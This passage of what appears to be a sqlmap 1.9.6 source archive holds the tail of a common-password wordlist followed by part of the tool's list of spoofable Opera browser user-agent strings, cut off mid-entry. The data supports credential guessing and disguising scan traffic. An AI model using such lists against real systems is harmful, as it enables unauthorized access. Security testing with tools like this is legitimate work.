zimmerman zipper zippo zippy zirtaeb zk.: zmodem zodiac zoltan zombie zong zoomer zoosk zorro zouzou zuan zwerg zxc zxc123 zxccxz zxcv zxcvb Zxcvb zxcvbn zxcvbnm Zxcvbnm zxcvbnm1 zxcvbnm123 zxcxz zxczxc zxzxzx zzz zzzxxx zzzz zzzzz zzzzzz zzzzzzz zzzzzzzz sqlmap-1.9.6/data/txt/user-agents.txt000066400000000000000000014147261502261744200175740ustar00rootroot00000000000000# Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # Opera Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 7.60 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; IT) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.53 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; ru) Opera 8.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.02 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.52 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; ru) Opera 8.51 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51 Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.51 Mozilla/5.0 (Windows 98; U; en) Opera 8.54 Mozilla/5.0 (Windows ME; U; en) Opera 8.51 Mozilla/5.0 (Windows NT 5.0; U; de) Opera 8.50 Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0 Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.50 Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.52 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.0 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.01 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.52 Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.53 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11 Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; fr) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54 Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 5.1; U; ru) Opera 8.51 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14 Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 Mozilla/5.0 (Windows NT 6.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 Mozilla/5.0 (Windows NT 6.1; U; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (X11; Linux i686; U; en) Opera 8.52 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 Opera/8.00 (Windows NT 5.1; U; en) Opera/8.01 (Macintosh; PPC Mac OS X; U; en) Opera/8.01 (Macintosh; U; PPC Mac OS; en) Opera/8.01 (Windows NT 5.0; U; de) Opera/8.01 (Windows NT 5.1; U; de) Opera/8.01 (Windows NT 5.1; U; en) Opera/8.01 (Windows NT 5.1; U; fr) Opera/8.01 (Windows NT 5.1; U; pl) Opera/8.02 (Windows NT 5.1; U; de) Opera/8.02 (Windows NT 5.1; U; en) Opera/8.02 (Windows NT 5.1; U; ru) Opera/8.0 (Windows NT 5.1; U; en) Opera/8.0 (X11; Linux i686; U; cs) Opera/8.10 (Windows NT 5.1; U; en) Opera/8.50 (Windows 98; U; en) Opera/8.50 (Windows 98; U; ru) Opera/8.50 (Windows ME; U; en) Opera/8.50 (Windows NT 4.0; U; zh-cn) Opera/8.50 (Windows NT 5.0; U; de) Opera/8.50 (Windows NT 5.0; U; en) Opera/8.50 (Windows NT 5.0; U; fr) Opera/8.50 (Windows NT 5.1; U; de) Opera/8.50 (Windows NT 5.1; U; en) Opera/8.50 (Windows NT 5.1; U; es-ES) Opera/8.50 (Windows NT 5.1; U; fr) Opera/8.50 (Windows NT 5.1; U; pl) Opera/8.50 (Windows NT 5.1; U; ru) Opera/8.51 (FreeBSD 5.1; U; en) Opera/8.51 (Macintosh; PPC Mac OS X; U; de) Opera/8.51 (Windows 98; U; en) Opera/8.51 (Windows NT 5.0; U; en) Opera/8.51 (Windows NT 5.1; U; de) Opera/8.51 (Windows NT 5.1; U; en) Opera/8.51 (Windows NT 5.1; U; fr) Opera/8.51 (Windows NT 5.1; U; nb) Opera/8.51 (Windows NT 5.1; U; pl) Opera/8.51 (X11; Linux i686; U; en) Opera/8.51 (X11; Linux x86_64; U; en) Opera/8.51 (X11; U; Linux i686; en-US; rv:1.8) Opera/8.52 (Windows ME; U; en) Opera/8.52 (Windows NT 5.0; U; en) Opera/8.52 (Windows NT 5.1; U; en) Opera/8.52 (Windows NT 5.1; U; ru) Opera/8.52 (X11; Linux i686; U; en) Opera/8.52 (X11; Linux x86_64; U; en) Opera/8.53 (Windows 98; U; en) Opera/8.53 (Windows NT 5.0; U; en) Opera/8.53 (Windows NT 5.1; U; de) Opera/8.53 (Windows NT 5.1; U; en) Opera/8.53 (Windows NT 5.1; U; pt) Opera/8.53 (Windows NT 5.2; U; en) Opera/8.54 (Windows 98; U; en) Opera/8.54 (Windows NT 4.0; U; zh-cn) Opera/8.54 (Windows NT 5.0; U; de) Opera/8.54 (Windows NT 5.0; U; en) Opera/8.54 (Windows NT 5.1; U; en) Opera/8.54 (Windows NT 5.1; U; pl) Opera/8.54 (Windows NT 5.1; U; ru) Opera/8.54 (X11; Linux i686; U; de) Opera/8.54 (X11; Linux i686; U; pl) Opera/9.00 (Macintosh; PPC Mac OS X; U; es) Opera/9.00 (Windows NT 5.0; U; en) Opera/9.00 (Windows NT 5.1; U; de) Opera/9.00 (Windows NT 5.1; U; en) Opera/9.00 (Windows NT 5.1; U; es-es) Opera/9.00 (Windows NT 5.1; U; fi) Opera/9.00 (Windows NT 5.1; U; fr) Opera/9.00 (Windows NT 5.1; U; it) Opera/9.00 (Windows NT 5.1; U; ja) Opera/9.00 (Windows NT 5.1; U; nl) Opera/9.00 (Windows NT 5.1; U; pl) Opera/9.00 (Windows NT 5.1; U; ru) Opera/9.00 (Windows NT 5.2; U; en) Opera/9.00 (Windows NT 5.2; U; pl) Opera/9.00 (Windows NT 5.2; U; ru) Opera/9.00 (Windows; U) Opera/9.00 (X11; Linux i686; U; de) Opera/9.00 (X11; Linux i686; U; en) Opera/9.00 (X11; Linux i686; U; pl) Opera/9.01 (Macintosh; PPC Mac OS X; U; en) Opera/9.01 (Macintosh; PPC Mac OS X; U; it) Opera/9.01 (Windows NT 5.0; U; de) Opera/9.01 (Windows NT 5.0; U; en) Opera/9.01 (Windows NT 5.1) Opera/9.01 (Windows NT 5.1; U; bg) Opera/9.01 (Windows NT 5.1; U; cs) Opera/9.01 (Windows NT 5.1; U; da) Opera/9.01 (Windows NT 5.1; U; de) Opera/9.01 (Windows NT 5.1; U; en) Opera/9.01 (Windows NT 5.1; U; es-es) Opera/9.01 (Windows NT 5.1; U; ja) Opera/9.01 (Windows NT 5.1; U; pl) Opera/9.01 (Windows NT 5.1; U; ru) Opera/9.01 (Windows NT 5.2; U; en) Opera/9.01 (Windows NT 5.2; U; ru) Opera/9.01 (X11; FreeBSD 6 i386; U; en) Opera/9.01 (X11; FreeBSD 6 i386; U;pl) Opera/9.01 (X11; Linux i686; U; en) Opera/9.01 (X11; OpenBSD i386; U; en) Opera/9.02 (Windows NT 5.0; U; en) Opera/9.02 (Windows NT 5.0; U; pl) Opera/9.02 (Windows NT 5.0; U; sv) Opera/9.02 (Windows NT 5.1; U; de) Opera/9.02 (Windows NT 5.1; U; en) Opera/9.02 (Windows NT 5.1; U; fi) Opera/9.02 (Windows NT 5.1; U; ja) Opera/9.02 (Windows NT 5.1; U; nb) Opera/9.02 (Windows NT 5.1; U; pl) Opera/9.02 (Windows NT 5.1; U; pt-br) Opera/9.02 (Windows NT 5.1; U; ru) Opera/9.02 (Windows NT 5.1; U; zh-cn) Opera/9.02 (Windows NT 5.2; U; de) Opera/9.02 (Windows NT 5.2; U; en) Opera/9.02 (Windows; U; nl) Opera/9.02 (Windows XP; U; ru) Opera/9.02 (X11; Linux i686; U; de) Opera/9.02 (X11; Linux i686; U; en) Opera/9.02 (X11; Linux i686; U; hu) Opera/9.02 (X11; Linux i686; U; pl) Opera/9.10 (Windows NT 5.1; U; es-es) Opera/9.10 (Windows NT 5.1; U; fi) Opera/9.10 (Windows NT 5.1; U; hu) Opera/9.10 (Windows NT 5.1; U; it) Opera/9.10 (Windows NT 5.1; U; nl) Opera/9.10 (Windows NT 5.1; U; pl) Opera/9.10 (Windows NT 5.1; U; pt) Opera/9.10 (Windows NT 5.1; U; sv) Opera/9.10 (Windows NT 5.1; U; zh-tw) Opera/9.10 (Windows NT 5.2; U; de) Opera/9.10 (Windows NT 5.2; U; en) Opera/9.10 (Windows NT 6.0; U; en) Opera/9.10 (Windows NT 6.0; U; it-IT) Opera/9.10 (X11; Linux i386; U; en) Opera/9.10 (X11; Linux i686; U; en) Opera/9.10 (X11; Linux i686; U; kubuntu;pl) Opera/9.10 (X11; Linux i686; U; pl) Opera/9.10 (X11; Linux; U; en) Opera/9.10 (X11; Linux x86_64; U; en) Opera/9.12 (Windows NT 5.0; U) Opera/9.12 (Windows NT 5.0; U; ru) Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) Opera/9.20 (Windows NT 5.1; U; en) Opera/9.20(Windows NT 5.1; U; en) Opera/9.20 (Windows NT 5.1; U; es-AR) Opera/9.20 (Windows NT 5.1; U; es-es) Opera/9.20 (Windows NT 5.1; U; it) Opera/9.20 (Windows NT 5.1; U; nb) Opera/9.20 (Windows NT 5.1; U; zh-tw) Opera/9.20 (Windows NT 5.2; U; en) Opera/9.20 (Windows NT 6.0; U; de) Opera/9.20 (Windows NT 6.0; U; en) Opera/9.20 (Windows NT 6.0; U; es-es) Opera/9.20 (X11; Linux i586; U; en) Opera/9.20 (X11; Linux i686; U; en) Opera/9.20 (X11; Linux i686; U; es-es) Opera/9.20 (X11; Linux i686; U; pl) Opera/9.20 (X11; Linux i686; U; ru) Opera/9.20 (X11; Linux i686; U; tr) Opera/9.20 (X11; Linux x86_64; U; en) Opera/9.21 (Macintosh; Intel Mac OS X; U; en) Opera/9.21 (Macintosh; PPC Mac OS X; U; en) Opera/9.21 (Windows 98; U; en) Opera/9.21 (Windows NT 5.0; U; de) Opera/9.21 (Windows NT 5.1; U; de) Opera/9.21 (Windows NT 5.1; U; en) Opera/9.21 (Windows NT 5.1; U; fr) Opera/9.21 (Windows NT 5.1; U; nl) Opera/9.21 (Windows NT 5.1; U; pl) Opera/9.21 (Windows NT 5.1; U; pt-br) Opera/9.21 (Windows NT 5.1; U; ru) Opera/9.21 (Windows NT 5.2; U; en) Opera/9.21 (Windows NT 6.0; U; en) Opera/9.21 (Windows NT 6.0; U; nb) Opera/9.21 (X11; Linux i686; U; de) Opera/9.21 (X11; Linux i686; U; en) Opera/9.21 (X11; Linux i686; U; es-es) Opera/9.21 (X11; Linux x86_64; U; en) Opera/9.22 (Windows NT 5.1; U; en) Opera/9.22 (Windows NT 5.1; U; fr) Opera/9.22 (Windows NT 5.1; U; pl) Opera/9.22 (Windows NT 6.0; U; en) Opera/9.22 (Windows NT 6.0; U; ru) Opera/9.22 (X11; Linux i686; U; de) Opera/9.22 (X11; Linux i686; U; en) Opera/9.22 (X11; OpenBSD i386; U; en) Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) Opera/9.23 (Mac OS X; fr) Opera/9.23 (Mac OS X; ru) Opera/9.23 (Windows NT 5.0; U; de) Opera/9.23 (Windows NT 5.0; U; en) Opera/9.23 (Windows NT 5.1; U; da) Opera/9.23 (Windows NT 5.1; U; de) Opera/9.23 (Windows NT 5.1; U; en) Opera/9.23 (Windows NT 5.1; U; fi) Opera/9.23 (Windows NT 5.1; U; it) Opera/9.23 (Windows NT 5.1; U; ja) Opera/9.23 (Windows NT 5.1; U; pt) Opera/9.23 (Windows NT 5.1; U; zh-cn) Opera/9.23 (Windows NT 6.0; U; de) Opera/9.23 (X11; Linux i686; U; en) Opera/9.23 (X11; Linux i686; U; es-es) Opera/9.23 (X11; Linux x86_64; U; en) Opera/9.24 (Macintosh; PPC Mac OS X; U; en) Opera/9.24 (Windows NT 5.0; U; ru) Opera/9.24 (Windows NT 5.1; U; ru) Opera/9.24 (Windows NT 5.1; U; tr) Opera/9.24 (X11; Linux i686; U; de) Opera/9.24 (X11; SunOS i86pc; U; en) Opera/9.25 (Macintosh; Intel Mac OS X; U; en) Opera/9.25 (Macintosh; PPC Mac OS X; U; en) Opera/9.25 (OpenSolaris; U; en) Opera/9.25 (Windows NT 4.0; U; en) Opera/9.25 (Windows NT 5.0; U; cs) Opera/9.25 (Windows NT 5.0; U; en) Opera/9.25 (Windows NT 5.1; U; de) Opera/9.25 (Windows NT 5.1; U; lt) Opera/9.25 (Windows NT 5.1; U; ru) Opera/9.25 (Windows NT 5.1; U; zh-cn) Opera/9.25 (Windows NT 5.2; U; en) Opera/9.25 (Windows NT 6.0; U; en-US) Opera/9.25 (Windows NT 6.0; U; ru) Opera/9.25 (Windows NT 6.0; U; sv) Opera/9.25 (X11; Linux i686; U; en) Opera/9.25 (X11; Linux i686; U; fr) Opera/9.25 (X11; Linux i686; U; fr-ca) Opera/9.26 (Macintosh; PPC Mac OS X; U; en) Opera/9.26 (Windows NT 5.1; U; de) Opera/9.26 (Windows NT 5.1; U; nl) Opera/9.26 (Windows NT 5.1; U; pl) Opera/9.26 (Windows NT 5.1; U; zh-cn) Opera/9.26 (Windows; U; pl) Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) Opera/9.27 (Windows NT 5.1; U; ja) Opera/9.27 (Windows NT 5.2; U; en) Opera/9.27 (X11; Linux i686; U; en) Opera/9.27 (X11; Linux i686; U; fr) Opera/9.4 (Windows NT 5.3; U; en) Opera/9.4 (Windows NT 6.1; U; en) Opera/9.50 (Macintosh; Intel Mac OS X; U; de) Opera/9.50 (Macintosh; Intel Mac OS X; U; en) Opera/9.50 (Windows NT 5.1; U; es-ES) Opera/9.50 (Windows NT 5.1; U; it) Opera/9.50 (Windows NT 5.1; U; nl) Opera/9.50 (Windows NT 5.1; U; nn) Opera/9.50 (Windows NT 5.1; U; ru) Opera/9.50 (Windows NT 5.2; U; it) Opera/9.50 (X11; Linux i686; U; es-ES) Opera/9.50 (X11; Linux x86_64; U; nb) Opera/9.50 (X11; Linux x86_64; U; pl) Opera/9.51 (Macintosh; Intel Mac OS X; U; en) Opera/9.51 (Windows NT 5.1; U; da) Opera/9.51 (Windows NT 5.1; U; en) Opera/9.51 (Windows NT 5.1; U; en-GB) Opera/9.51 (Windows NT 5.1; U; es-AR) Opera/9.51 (Windows NT 5.1; U; es-LA) Opera/9.51 (Windows NT 5.1; U; fr) Opera/9.51 (Windows NT 5.1; U; nn) Opera/9.51 (Windows NT 5.2; U; en) Opera/9.51 (Windows NT 6.0; U; en) Opera/9.51 (Windows NT 6.0; U; es) Opera/9.51 (Windows NT 6.0; U; sv) Opera/9.51 (X11; Linux i686; U; de) Opera/9.51 (X11; Linux i686; U; fr) Opera/9.51 (X11; Linux i686; U; Linux Mint; en) Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) Opera/9.52 (Windows NT 5.0; U; en) Opera/9.52 (Windows NT 5.2; U; ru) Opera/9.52 (Windows NT 6.0; U; de) Opera/9.52 (Windows NT 6.0; U; en) Opera/9.52 (Windows NT 6.0; U; fr) Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) Opera/9.52 (X11; Linux i686; U; cs) Opera/9.52 (X11; Linux i686; U; en) Opera/9.52 (X11; Linux i686; U; fr) Opera/9.52 (X11; Linux x86_64; U) Opera/9.52 (X11; Linux x86_64; U; en) Opera/9.52 (X11; Linux x86_64; U; ru) Opera/9.5 (Windows NT 5.1; U; fr) Opera/9.5 (Windows NT 6.0; U; en) Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.60 (X11; Linux x86_64; U) Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 Opera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; de) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; en-GB) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; nb) Presto/2.1.1 Opera/9.62 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.62 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.62 (Windows NT 6.1; U; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; fi) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; it) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1 Opera/9.62 (X11; Linux i686; U; pt-BR) Presto/2.1.1 Opera/9.62 (X11; Linux x86_64; U; en_GB, en_US) Presto/2.1.1 Opera/9.62 (X11; Linux x86_64; U; ru) Presto/2.1.1 Opera/9.63 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 Opera/9.63 (Windows NT 5.2; U; de) Presto/2.1.1 Opera/9.63 (Windows NT 5.2; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; cs) 